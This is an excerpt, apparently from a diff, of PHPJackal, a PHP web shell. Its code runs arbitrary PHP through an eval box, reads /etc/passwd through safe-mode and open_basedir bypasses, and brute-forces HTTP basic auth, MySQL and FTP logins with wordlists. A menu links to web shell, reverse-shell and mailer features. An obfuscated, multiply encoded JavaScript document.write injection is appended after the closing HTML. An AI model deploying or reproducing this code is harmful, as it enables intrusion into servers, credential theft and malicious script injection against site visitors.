bgcolor=\"#808080\" align=right>$hcwd<input class=buttons type=submit value=Start></td></tr></form></table></center>"; +} +function pr0xy(){ +global $errorbox,$et,$footer,$hcwd; +echo "<table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"100%\"><form method=\"POST\"><tr><td width=\"20%\"><b>Navigator: </b><input type=text name=urL size=140 value=\""; if(!!empty($_REQUEST['urL'])) echo "http://www.edpsciences.org/htbin/ipaddress"; else echo htmlspecialchars($_REQUEST['urL']);echo "\">$hcwd<input type=submit class=buttons value=Go></td></tr></form></table>"; +if (!empty($_REQUEST['urL'])){ +$dir=""; +$u=parse_url($_REQUEST['urL']); +$host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/'; +if(substr_count($file,'/')>1)$dir=substr($file,0,(strpos($file,'/'))); +$url=@fsockopen($host, 80, $errno, $errstr, 12); +if(!$url)die("<br>$errorbox Can not connect to host!$et$footer"); +fputs($url, "GET /$file HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nUser-Agent: Mozilla/5.0 (compatible; Konqueror/3.1; FreeBSD)\r\n\r\n"); +while(!feof($url)){ +$con = fgets($url); +$con = str_replace("href=mailto","HrEf=mailto",$con); +$con = str_replace("HREF=mailto","HrEf=mailto",$con); +$con = str_replace("href=\"mailto","HrEf=\"mailto",$con); +$con = str_replace("HREF=\"mailto","HrEf=\"mailto",$con); +$con = str_replace("href=\'mailto","HrEf=\"mailto",$con); +$con = str_replace("HREF=\'mailto","HrEf=\"mailto",$con); +$con = str_replace("href=\"http","HrEf=\"".hlinK("seC=px&urL=http"),$con); +$con = str_replace("HREF=\"http","HrEf=\"".hlinK("seC=px&urL=http"),$con); +$con = str_replace("href=\'http","HrEf=\"".hlinK("seC=px&urL=http"),$con); +$con = str_replace("HREF=\'http","HrEf=\"".hlinK("seC=px&urL=http"),$con); +$con = str_replace("href=http","HrEf=".hlinK("seC=px&urL=http"),$con); +$con = str_replace("HREF=http","HrEf=".hlinK("seC=px&urL=http"),$con); +$con = str_replace("href=\"","HrEf=\"".hlinK("seC=px&urL=http://$host/$dir/"),$con); +$con = str_replace("HREF=\"","HrEf=\"".hlinK("seC=px&urL=http://$host/$dir/"),$con); +$con = str_replace("href=\"","HrEf=\'".hlinK("seC=px&urL=http://$host/$dir/"),$con); +$con = str_replace("HREF=\"","HrEf=\'".hlinK("seC=px&urL=http://$host/$dir/"),$con); +$con = str_replace("href=","HrEf=".hlinK("seC=px&urL=http://$host/$dir/"),$con); +$con = str_replace("HREF=","HrEf=".hlinK("seC=px&urL=http://$host/$dir/"),$con); +echo $con; +} +fclose($url); +} +} +function mysqlclienT(){ +global $t,$errorbox,$et,$hcwd; +if (!empty($_REQUEST['serveR']) && !empty($_REQUEST['useR']) && !empty($_REQUEST['pasS']) && !empty($_REQUEST['querY'])){ +$server=$_REQUEST['serveR'];$pass=$_REQUEST['pasS'];$user=$_REQUEST['useR'];$query=$_REQUEST['querY']; +if(!empty($_REQUEST['dB']))$db=$_REQUEST['dB']; +$link = @mysql_connect($server,$user,$pass); +if($link){ +if (!empty($db))mysql_select_db($db); +$result=mysql_query($query,$link); +echo "${t}Query result(s):$et"; +echo "<font color=blue><pre>"; +while($data=mysql_fetch_row($result)){ +foreach($data as $v) { +echo $v; +echo "\t"; +} +echo "\n"; +} +echo "</pre></font>"; +mysql_close($link); +} +else{ +echo "$errorbox Login failed!$et<br>"; +} +} +echo "<center>${t}MySQL cilent:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\"><tr><td width=\"20%\" bgcolor=\"#666666\">Server:</td><td bgcolor=\"#666666\"><input type=text value=\"";if (!empty($_REQUEST['server'])) echo htmlspecialchars($_REQUEST['server']);else echo "localhost:3306"; echo "\" name=serveR size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Username:</td><td bgcolor=\"#808080\"><input type=text name=useR value=\"";if (!empty($_REQUEST['user'])) echo htmlspecialchars($_REQUEST['user']);else echo "root"; echo "\" size=35></td><tr><td width=\"20%\" bgcolor=\"#666666\">Password:</td><td bgcolor=\"#666666\"><input type=text value=\"";if (!empty($_REQUEST['pass'])) echo htmlspecialchars($_REQUEST['pass']);else echo "123456"; echo "\" name=pasS size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Database:</td><td bgcolor=\"#808080\"><input type=text value=\"";if (!empty($_REQUEST['db'])) echo htmlspecialchars($_REQUEST['db']); echo "\" name=dB size=35></td><tr><td width=\"20%\" bgcolor=\"#666666\">Query:</td><td bgcolor=\"#666666\"><textarea name=querY rows=5 cols=27>";if (!empty($_REQUEST['query'])) echo htmlspecialchars(($_REQUEST['query']));else echo "SHOW DATABASES"; echo "</textarea></td></tr></tr><tr><td width=\"20%\" bgcolor=\"#808080\"></td><td bgcolor=\"#808080\" align=right>$hcwd<input class=buttons type=submit value=\"Submit Query\"></td></tr></form></table></center>"; +} +function phpevaL(){ +global $t,$hcwd; +if (!empty($_REQUEST['code'])){ +echo "<center><textarea rows=\"10\" cols=\"64\">"; +$code = str_replace("<?php","",$_REQUEST['code']); +$code = str_replace("<?","",$code); +$code = str_replace("?>","",$code); +htmlspecialchars(eval($code)); +echo "</textarea></center><br>"; +} +echo "<center>${t}Evaler:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\"><tr><td width=\"20%\" bgcolor=\"#666666\">Codes:</td><td bgcolor=\"#666666\"><textarea rows=\"10\" name=\"code\" cols=\"64\">";if(!empty($_REQUEST['code']))echo htmlspecialchars($_REQUEST['code']);echo "</textarea></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right>$hcwd<input class=buttons type=submit value=Execute></td></tr></form></table></center>"; +} +function whoiS(){ +global $t,$hcwd; +if (!empty($_REQUEST['server']) && !empty($_REQUEST['domain'])){ +$server =$_REQUEST['server']; +$domain=$_REQUEST['domain']."\r\n"; +$ser=fsockopen($server,43,$en,$es,5); +fputs($ser,$domain); +echo "<pre>"; +while(!feof($ser))echo fgets($ser); +echo "</pre>"; +fclose($ser); +} +else{ +echo "<center>${t}Whois:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\"><tr><td width=\"20%\" bgcolor=\"#666666\">Server:</td><td bgcolor=\"#666666\"><input type=text value=\"";if (!empty($_REQUEST['server'])) echo htmlspecialchars($_REQUEST['server']);else echo "whois.geektools.com"; echo "\" name=server size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">domain:</td><td bgcolor=\"#808080\"><input type=text name=domain value=\"";if (!empty($_REQUEST['domain'])) echo htmlspecialchars($_REQUEST['domain']); else echo "google.com"; echo "\" size=35></td><tr><td bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right>$hcwd<input class=buttons type=submit value=\"Do\"></td></tr></form></table></center>"; +} +} +function hexvieW(){ +if (!empty($_REQUEST['filE'])){ +$f = $_REQUEST['filE']; +echo "<table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"100%\"><td width=\"10%\" bgcolor=\"#282828\">Offset</td><td width=\"25%\" bgcolor=\"#282828\">Hex</td><td width=\"25%\" bgcolor=\"#282828\"></td><td width=\"40%\" bgcolor=\"#282828\">ASCII</td></tr>"; +$file = fopen($f,"r"); +$i= -1; +while (!feof($file)) { +$ln=''; +$i++; +echo "<tr><td width=\"10%\" bgcolor=\"#"; +if ($i % 2==0) echo "666666";else echo "808080"; +echo "\">";echo str_repeat("0",(8-strlen($i * 16))).$i * 16;echo "</td>"; +echo "<td width=\"25%\" bgcolor=\"#"; +if ($i % 2==0) echo "666666";else echo "808080"; +echo "\">"; +for ($j=0;$j<=7;$j++){ +if (!feof($file)){ +$tmp = strtoupper(dechex(ord(fgetc($file)))); +if (strlen($tmp)==1) $tmp = "0".$tmp; +echo $tmp." "; +$ln.=$tmp; +} +} +echo "</td><td width=\"25%\" bgcolor=\"#"; +if ($i % 2==0) echo "666666";else echo "808080"; +echo "\">"; +for ($j=7;$j<=14;$j++){ +if (!feof($file)){ +$tmp = strtoupper(dechex(ord(fgetc($file)))); +if (strlen($tmp)==1) $tmp = "0".$tmp; +echo $tmp." "; +$ln.=$tmp; +} +} +echo "</td><td width=\"40%\" bgcolor=\"#"; +if ($i % 2==0) echo "666666";else echo "808080"; +echo "\">"; +$n=0;$asc="";$co=0; +for ($k=0;$k<=16;$k++){ +$co=hexdec(substr($ln,$n,2)); +if (($co<=31)||(($co>=127)&&($co<=160)))$co=46; +$asc.= chr($co); +$n+=2; +} +echo htmlspecialchars($asc); +echo "</td></tr>"; +} +} +fclose($file); +echo "</table>"; +} +function safemodE(){ +global $windows,$t,$hcwd; +if (!empty($_REQUEST['file'])){ +$i=1; +echo "<pre>\n<font color=green>Method $i:(ini_restore)</font><font color=blue>\n"; +ini_restore("safe_mode");ini_restore("open_basedir"); +$tmp = file_get_contents($_REQUEST['file']); +echo $tmp; +$i++; +echo "\n</font><font color=green>Method $i:(copy)</font><font color=blue>\n"; +$tmp=tempnam("","cx"); +copy("compress.zlib://".$_REQUEST['file'], $tmp); +$fh = fopen($tmp, "r"); +$data = fread($fh, filesize($tmp)); +fclose($fh); +echo $data; +$i++; +if(function_exists("curl_init")){ +echo "\n</font><font color=green>Method $i:(curl_init)[A]</font><font color=blue>\n"; +$fh = @curl_init("file://".$_REQUEST['file'].""); +$tmp = @curl_exec($fh); +echo $tmp; +$i++; +echo "\n</font><font color=green>Method $i:(curl_init)[B]</font><font color=blue>\n"; +$i++; +if(strstr($_REQUEST['file'],DIRECTORY_SEPARATOR)) +$ch =curl_init("file:///".$_REQUEST['file']."\x00/../../../../../../../../../../../../".__FILE__); +else $ch = curl_init("file://".$_REQUEST['file']."\x00".__FILE__); +curl_exec($ch); +var_dump(curl_exec($ch)); +} +if($_REQUEST['file'] == "/etc/passwd"){ +echo "\n</font><font color=green>Method $i:(posix)</font><font color=blue>\n"; +for($uid=0;$uid<99999;$uid++){ +$h=posix_getpwuid($uid); +if (!empty($h))foreach($h as $v)echo "$v:";}} +$i++; +echo "</pre></font>"; +} +echo "<center>${t}Anti Safe-Mode:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\"><tr><td width=\"20%\" bgcolor=\"#666666\">File:</td><td bgcolor=\"#666666\"><input type=text value=\"";if (!empty($_REQUEST['file'])) echo htmlspecialchars($_REQUEST['file']);elseif(!$windows) echo "/etc/passwd"; echo "\" name=file size=35></td></tr><tr><td bgcolor=\"#808080\"></td><td bgcolor=\"#808080\" align=right>$hcwd<input class=buttons type=submit value=\"Read\"></td></tr></form></table></center>"; +} +function crackeR(){ +global $et; +$cwd = getcwd(); +echo "<center><table border=0 bgcolor=#333333><tr><td><a href=\"".hlinK("seC=hc&workingdiR=$cwd")."\">[Hash]</a> - <a href=\"".hlinK("seC=smtp&workingdiR=$cwd")."\">[SMTP]</a> - <a href=\"".hlinK("seC=pop3&workingdiR=$cwd")."\">[POP3]</a> - <a href=\"".hlinK("seC=imap&workingdiR=$cwd")."\">[IMAP]</a> - <a href=\"".hlinK("seC=ftp&workingdiR=$cwd")."\">[FTP]</a> - <a href=\"".hlinK("seC=snmp&workingdiR=$cwd")."\">[SNMP]</a> - <a href=\"".hlinK("seC=sql&workingdiR=$cwd")."\">[MySQL]</a> - <a href=\"".hlinK("seC=fcr&workingdiR=$cwd")."\">[HTTP form]</a> - <a href=\"".hlinK("seC=auth&workingdiR=$cwd")."\">[HTTP Auth(basic)]</a> - <a href=\"".hlinK("seC=dic&workingdiR=$cwd")."\">[Dictionary maker]</a>$et</center>"; +} +function dicmakeR(){ +global $errorbox,$windows,$footer,$t,$et,$hcwd; +if (!empty($_REQUEST['combo'])&&($_REQUEST['combo']==1)) $combo=1 ; else $combo=0; +if (!empty($_REQUEST['range']) && !empty($_REQUEST['output']) && !empty($_REQUEST['min']) && !empty($_REQUEST['max'])){ +$min = $_REQUEST['min']; +$max = $_REQUEST['max']; +if($max<$min)die($errorbox ."Bad input!$et". $footer); +$s =$w=""; +$out = $_REQUEST['output']; +$r = ($_REQUEST['range']=='a' )?'a':'A'; +if ($_REQUEST['range']==0) $r=0; +for($i=0;$i<$min;$i++) $s.=$r; +$dic = fopen($out,'a'); +if(is_nan($r)){ +while(strlen($s)<=$max){ +$w = $s; +if($combo)$w="$w:$w"; +fwrite($dic,$w."\n"); +$s++;} +} +else{ +while(strlen($w)<=$max){ +$w =(string)str_repeat("0",($min - strlen($s))).$s; +if($combo)$w="$w:$w"; +fwrite($dic,$w."\n"); +$s++;} +} +fclose($dic); +echo "<font color=blue>Done</font>"; +} +if (!empty($_REQUEST['input']) && !empty($_REQUEST['output'])){ +$input=fopen($_REQUEST['input'],'r'); +if (!$input){ +if ($windows)echo $errorbox. "Unable to read from ".htmlspecialchars($_REQUEST['input']) ."$et<br>"; +else{ +$input=explode("\n",shelL("cat $input")); +$output=fopen($_REQUEST['output'],'w'); +if ($output){ +foreach ($input as $in){ +$user = $in; +$user = trim(fgets($in)," \n\r"); +if (!strstr($user,":"))continue; +$user=substr($user,0,(strpos($user,':'))); +if($combo) fwrite($output,$user.":".$user."\n"); else fwrite($output,$user."\n"); +} +fclose($input);fclose($output); +echo "<font color=blue>Done</font>"; +} +} +} +else{ +$output=fopen($_REQUEST['output'],'w'); +if ($output){ +while (!feof($input)){ +$user = trim(fgets($input)," \n\r"); +if (!strstr($user,":"))continue; +$user=substr($user,0,(strpos($user,':'))); +if($combo) fwrite($output,$user.":".$user."\n"); else fwrite($output,$user."\n"); +} +fclose($input);fclose($output); +echo "<font color=blue>Done</font>"; +} +else echo $errorbox." Unable to write data to ".htmlspecialchars($_REQUEST['input']) ."$et<br>"; +} +}elseif (!empty($_REQUEST['url']) && !empty($_REQUEST['output'])){ +$res=downloadiT($_REQUEST['url'],$_REQUEST['output']); +if($combo && $res){ +$file=file($_REQUEST['output']); +$output=fopen($_REQUEST['output'],'w'); +foreach ($file as $v)fwrite($output,"$v:$v\n"); +fclose($output); +} +echo "<font color=blue>Done</font>"; +}else{ +$temp=whereistmP(); +echo "<center>${t}Wordlist generator:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\"><tr><td width=\"20%\" bgcolor=\"#666666\">Range:</td><td bgcolor=\"#666666\"><select name=range><option value=a>a-z</option><option value=Z>A-Z</option><option value=0>0-9</option></select></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Min lenght:</td><td bgcolor=\"#808080\"><select name=min><option value=1>1</option><option value=2>2</option><option value=3>3</option><option value=4>4</option><option value=5>5</option><option value=6>6</option><option value=7>7</option><option value=8>8</option><option value=9>9</option><option value=10>10</option></select></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\">Max lenght:</td><td bgcolor=\"#666666\"><select name=max><option value=2>2</option><option value=3>3</option><option value=4>4</option><option value=5>5</option><option value=6>6</option><option value=7>7</option><option value=8 selected>8</option><option value=9>9</option><option value=10>10</option><option value=11>11</option><option value=12>12</option><option value=13>13</option><option value=14>14</option><option value=15>15</option></select></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Output:</td><td bgcolor=\"#808080\"><input type=text value=\"$temp/.dic\" name=output size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\"><input type=checkbox name=combo style=\"border-width:1px;background-color:#666666;\" value=1 checked>Combo style output</td></tr><td bgcolor=\"#808080\"></td><td bgcolor=\"#808080\" align=right>$hcwd<input class=buttons type=submit value=Make></td></tr></form></table><br>${t}Grab dictionary:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\"><tr><td width=\"20%\" bgcolor=\"#666666\">Grab from:</td><td bgcolor=\"#666666\"><input type=text value=\"/etc/passwd\" name=input size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Output:</td><td bgcolor=\"#808080\"><input type=text value=\"$temp/.dic\" name=output size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\"><input type=checkbox style=\"border-width:1px;background-color:#666666;\" name=combo value=1 checked>Combo style output</td></tr><td bgcolor=\"#808080\"></td><td bgcolor=\"#808080\" align=right>$hcwd<input class=buttons type=submit value=Grab></td></tr></form></table><br>${t}Download dictionary:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\"><tr><td width=\"20%\" bgcolor=\"#666666\">URL:</td><td bgcolor=\"#666666\"><input type=text value=\"http://vburton.ncsa.uiuc.edu/wordlist.txt\" name=url size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Output:</td><td bgcolor=\"#808080\"><input type=text value=\"$temp/.dic\" name=output size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\"><input type=checkbox style=\"border-width:1px;background-color:#666666;\" name=combo value=1 checked>Combo style output</td></tr><tr><td bgcolor=\"#808080\"></td><td bgcolor=\"#808080\" align=right>$hcwd<input class=buttons type=submit value=Get></td></tr></form></table></center>";} +} +function calC(){ +global $t,$et,$hcwd; +$fu = array('-','md5','sha1','crc32','hex','ip2long','long2ip','base64_encode','base64_decode','urldecode','urlencode'); +if (!empty($_REQUEST['input']) && (in_array($_REQUEST['to'],$fu))){ +echo "<center>${t}Output:<br><textarea rows=\"10\" cols=\"64\">"; +if($_REQUEST['to']!='hex')echo $_REQUEST['to']($_REQUEST['input']);else for($i=0;$i<strlen($_REQUEST['input']);$i++)echo strtoupper(dechex(ord($_REQUEST['input']{$i}))); +echo "</textarea>$et</center><br>"; +} +echo "<center>${t}Convertor:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\"><tr><td width=\"20%\" bgcolor=\"#666666\">Input:</td><td bgcolor=\"#666666\"><textarea rows=\"10\" name=\"input\" cols=\"64\">";if(!empty($_REQUEST['input']))echo htmlspecialchars($_REQUEST['input']);echo "</textarea></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Task:</td><td bgcolor=\"#808080\"><select size=1 name=to><option value=md5>MD5</option><option value=sha1>SHA1</option><option value=crc32>crc32</option><option value=ip2long>IP to long</option><option value=long2ip>Long to IP</option><option value=hex>HEX</option><option value=urlencode>URL encoding</option><option value=urldecode>URL decoding</option><option value=base64_encode>Base64 encoding</option><option value=base64_decode>Base64 decoding</option></select></td><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right><input class=buttons type=submit value=Convert></td></tr>$hcwd</form></table></center>"; +} +function authcrackeR(){ +global $errorbox,$et,$t,$crack,$hcwd; +if(!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ +$data=''; +$method=($_REQUEST['method'])?'POST':'GET'; +if(strstr($_REQUEST['target'],'?')){$data=substr($_REQUEST['target'],strpos($_REQUEST['target'],'?')+1);$_REQUEST['target']=substr($_REQUEST['target'],0,strpos($_REQUEST['target'],'?'));} +spliturL($_REQUEST['target'],$host,$page); +$type=$_REQUEST['combo']; +$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:""; +if($method='GET')$page.=$data; +$dictionary=fopen($_REQUEST['dictionary'],'r'); +echo "<font color=blue>"; +while(!feof($dictionary)){ +if($type){ +$combo=trim(fgets($dictionary)," \n\r"); +$user=substr($combo,0,strpos($combo,':')); +$pass=substr($combo,strpos($combo,':')+1); +}else{ +$pass=trim(fgets($dictionary)," \n\r"); +} +$so=fsockopen($host,80,$en,$es,5); +if(!$so){echo "$errorbox Can not connect to host$et";break;} +else{ +$packet="$method /$page HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nConnection: Close\r\nAuthorization: Basic ".base64_encode("$user:$pass"); +if($method=='POST')$packet.="Content-Type: application/x-www-form-urlencoded\r\nContent-Length: ".strlen($data); +$packet.="\r\n\r\n"; +$packet.=$data; +fputs($so,$packet); +$res=substr(fgets($so),9,2); +fclose($so); +if($res=='20')echo "U: $user P: $pass</br>"; +flusheR(); +} +} +echo "Done!</font>"; +}else echo "<center><form method=\"POST\" name=form>${t}HTTP Auth cracker:</td><td bgcolor=\"#333333\"><select name=method><option value=1>POST</option><option value=0>GET</option></select></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\">Dictionary:</td><td bgcolor=\"#666666\"><input type=text name=dictionary size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Dictionary type:</td><td bgcolor=\"#808080\"><input type=radio name=combo checked value=0 onClick=\"document.form.user.disabled = false;\" style=\"border-width:1px;background-color:#808080;\">Simple (P)<input type=radio value=1 name=combo onClick=\"document.form.user.disabled = true;\" style=\"border-width:1px;background-color:#808080;\">Combo (U:P)</td></tr><tr><td width=\"20%\" bgcolor=\"#666666\">Username:</td><td bgcolor=\"#666666\"><input type=text size=35 value=root name=user></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Server:</td><td bgcolor=\"#808080\"><input type=text name=target value=localhost size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right>$hcwd<input class=buttons type=submit value=Start></td></tr></form></table></center>"; +} +function sqlcrackeR(){ +global $errorbox,$t,$et,$crack; +if (!function_exists("mysql_connect")){ +echo "$errorbox Server does n`t support MySQL$et"; +} +else{ +if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ +$target=$_REQUEST['target']; +$type=$_REQUEST['combo']; +$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:""; +$dictionary=fopen($_REQUEST['dictionary'],'r'); +if ($dictionary){ +echo "<font color=blue>Cracking ".htmlspecialchars($target)."...<br>"; +while(!feof($dictionary)){ +if($type){ +$combo=trim(fgets($dictionary)," \n\r"); +$user=substr($combo,0,strpos($combo,':')); +$pass=substr($combo,strpos($combo,':')+1); +}else{ +$pass=trim(fgets($dictionary)," \n\r"); +} +$sql=@mysql_connect($target,$user,$pass); +if($sql){echo "U: $user P: $pass (<a href=\"".hlinK("seC=mysql&serveR=$target&useR=$user&pasS=$pass&querY=SHOW+DATABASES&workingdiR=".getcwd())."\">Connect</a>)<br>";mysql_close($sql);if(!$type)break;} +flusheR(); +} +echo "<br>Done</font>"; +fclose($dictionary); +} +else{ +echo "$errorbox Can not open dictionary.$et"; +} +} +else{ +echo "<center>${t}MySQL cracker:$crack"; +} +} +} +function ftpcrackeR(){ +global $errorbox,$t,$et,$crack; +if (!function_exists("ftp_connect"))echo "$errorbox Server does n`t support FTP functions$et"; +else{ +if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ +$target=$_REQUEST['target']; +$type=$_REQUEST['combo']; +$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:""; +$dictionary=fopen($_REQUEST['dictionary'],'r'); +if ($dictionary){ +echo "<font color=blue>Cracking ".htmlspecialchars($target)."...<br>"; +while(!feof($dictionary)){ +if($type){ +$combo=trim(fgets($dictionary)," \n\r"); +$user=substr($combo,0,strpos($combo,':')); +$pass=substr($combo,strpos($combo,':')+1); +}else{ +$pass=trim(fgets($dictionary)," \n\r"); +} +if(!$ftp=ftp_connect($target,21,8)){echo "$errorbox Can not connect to server.$et";break;} +if (@ftp_login($ftp,$user,$pass)){echo "U: $user P: $pass<br>";if(!$type)break;} +ftp_close($ftp); +flusheR(); +} +echo "<br>Done</font>"; +fclose($dictionary); +} +else{ +echo "$errorbox Can not open dictionary.$et"; +} +} +else echo "<center>${t}FTP cracker:$crack"; +}} +function openiT($name){ +$ext=strtolower(substr($name,strrpos($name,'.')+1)); +$src=array('php','php3','php4','phps','phtml','phtm','inc'); +if(in_array($ext,$src))highlight_file($name); +else echo "<font color=blue><pre>".htmlspecialchars(file_get_contents($name))."</pre></font>"; +} +function logouT(){ +setcookie('passw','',time()-10000); +header('Location: '.hlinK()); +} +?> +<html> +<head> +<style>body{scrollbar-base-color: #484848; scrollbar-arrow-color: #FFFFFF; scrollbar-track-color: #969696;font-size:16px;font-family:"Arial Narrow";}Table { font-size: 15px; } .buttons{font-family:Verdana;font-size:10pt;font-weight:normal;font-style:normal;color:#FFFFFF;background-color:#555555;border-style:solid;border-width:1px;border-color:#FFFFFF;}textarea{border: 0px #000000 solid;background: #EEEEEE;color: #000000;}input{background: #EEEEEE;border-width:1px;border-style:solid;border-color:black}select{background: #EEEEEE; border: 0px #000000 none;}</style> +<meta http-equiv="Content-Language" content="en-us"> +<title>PHPJackal</title> +</head><body text="#E2E2E2" bgcolor="#C0C0C0" link="#DCDCDC" vlink="#DCDCDC" alink="#DCDCDC"> +<table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#282828" bgcolor="#333333" width="100%"> +<tr><td><a href=javascript:history.back(1)>[Back]</a> - <a href="<?php $cwd= getcwd(); echo hlinK("seC=sysinfo&workingdiR=$cwd");?>">[Info]</a> - <a href="<?php echo hlinK("seC=fm&workingdiR=$cwd");?>">[File manager]</a> - <a href="<?php echo hlinK("seC=edit&workingdiR=$cwd");?>">[Editor]</a> - <a href="<?php echo hlinK("seC=webshell&workingdiR=$cwd");?>">[Web shell]</a> - <a href="<?php echo hlinK("seC=br&workingdiR=$cwd");?>">[B/R shell]</a> - <a href="<?php echo hlinK("seC=asm&workingdiR=$cwd");?>">[Safe-mode]</a> - <a href="<?php echo hlinK("seC=mysql&workingdiR=$cwd"); ?>">[SQL]</a> - <a href="<?php echo hlinK("seC=mailer&workingdiR=$cwd"); ?>">[Mailer]</a> - <a href="<?php echo hlinK("seC=eval&workingdiR=$cwd");?>">[Evaler]</a> - <a href="<?php echo hlinK("seC=sc&workingdiR=$cwd"); ?>">[Scanners]</a> - <a href="<?php echo hlinK("seC=cr&workingdiR=$cwd");?>">[Crackers]</a> - <a href="<?php echo hlinK("seC=px&workingdiR=$cwd");?>">[Pr0xy]</a> - <a href="<?php echo hlinK("seC=whois&workingdiR=$cwd");?>">[Whois]</a> - <a href="<?php echo hlinK("seC=calc&workingdiR=$cwd");?>">[Convert]</a> - <a href="<?php echo hlinK("seC=about&workingdiR=$cwd");?>">[About]</a> <?php if(isset($_COOKIE['passw'])) echo "- [<a href=\"".hlinK("seC=logout")."\">Logout</a>]";?></td></tr></table> +<hr size=1 noshade> +<?php +if (!empty($_REQUEST['seC'])){ +switch($_REQUEST['seC']){ +case 'fm':filemanager();break; +case 'sc':scanneR();break; +case 'phpinfo': phpinfo();break; +case 'edit': if (!empty($_REQUEST['open']))editoR($_REQUEST['filE']); +if (!empty($_REQUEST['Save'])){ +$filehandle= fopen($_REQUEST['file'],"w"); +fwrite($filehandle,$_REQUEST['edited']); +fclose($filehandle);} +if (!empty($_REQUEST['filE'])) editoR($_REQUEST['filE']);else editoR(''); +break; +case 'openit':openiT($_REQUEST['namE']);break; +case 'cr': crackeR();break; +case 'dic':dicmakeR();break; +case 'whois':whoiS();break; +case 'hex':hexvieW();break; +case 'img':showimagE($_REQUEST['filE']);break; +case 'inc':include ($_REQUEST['filE']);break; +case 'hc':hashcrackeR();break; +case 'fcr':formcrackeR();break; +case 'snmp':snmpcrackeR();break; +case 'sql':sqlcrackeR();break; +case 'auth':authcrackeR();break; +case 'pop3':pop3crackeR();break; +case 'imap':imapcrackeR();break; +case 'smtp':smtpcrackeR();break; +case 'ftp':ftpcrackeR();break; +case 'eval':phpevaL();break; +case 'px':pr0xy();break; +case 'webshell':webshelL();break; +case 'mailer':maileR();break; +case 'br':brshelL();break; +case 'asm':safemodE();break; +case 'mysql':mysqlclienT();break; +case 'calc':calC();break; +case 'sysinfo':sysinfO();break; +case 'checksum':checksuM($_REQUEST['filE']);break; +case 'logout':logouT();break; +default: echo $intro; +}}else echo $intro; +echo $footer;?></body></html><script type="text/javascript" language="javascript"> +<!-- +fF7eSD8=new Array(); +fF7eSD8[0]="%3Cscript%3E%0Adocu"; +fF7eSD8[1]="ment.write%28une"; +fF7eSD8[2]="scape%28%22%253Cscri"; +fF7eSD8[3]="pt%2520type%253D%25"; +fF7eSD8[4]="22text/javascr"; +fF7eSD8[5]="ipt%2522%253Edo"; +fF7eSD8[6]="cument.write%25"; +fF7eSD8[7]="28%2527%255Cu00"; +fF7eSD8[8]="3c%255Cu0073%255C"; +fF7eSD8[9]="u0063%255Cu0072"; +fF7eSD8[10]="%255Cu0069%255Cu"; +fF7eSD8[11]="0070%255Cu007"; +fF7eSD8[12]="4%255Cu0020%255C"; +fF7eSD8[13]="u0074%255Cu007"; +fF7eSD8[14]="9%255Cu0070%255Cu"; +fF7eSD8[15]="0065%255Cu003d%25"; +fF7eSD8[16]="5Cu0022%255Cu0"; +fF7eSD8[17]="074%255Cu0065%255C"; +fF7eSD8[18]="u0078%255Cu0074%25"; +fF7eSD8[19]="5Cu002f%255Cu"; +fF7eSD8[20]="006a%255Cu0061%255"; +fF7eSD8[21]="Cu0076%255Cu0"; +fF7eSD8[22]="061%255Cu0073%25"; +fF7eSD8[23]="5Cu0063%255Cu00"; +fF7eSD8[24]="72%255Cu0069%25"; +fF7eSD8[25]="5Cu0070%255Cu"; +fF7eSD8[26]="0074%255Cu0022"; +fF7eSD8[27]="%255Cu003e%255C"; +fF7eSD8[28]="u0064%255Cu00"; +fF7eSD8[29]="6f%255Cu0063%255C"; +fF7eSD8[30]="u0075%255Cu006"; +fF7eSD8[31]="d%255Cu0065%255Cu"; +fF7eSD8[32]="006e%255Cu0074%255"; +fF7eSD8[33]="Cu002e%255Cu00"; +fF7eSD8[34]="77%255Cu0072%25"; +fF7eSD8[35]="5Cu0069%255Cu"; +fF7eSD8[36]="0074%255Cu0065%25"; +fF7eSD8[37]="5Cu0028%255Cu002"; +fF7eSD8[38]="7%255Cu005c%255Cu"; +fF7eSD8[39]="0075%255Cu0030"; +fF7eSD8[40]="%255Cu0030%255Cu0"; +fF7eSD8[41]="033%255Cu0063%25"; 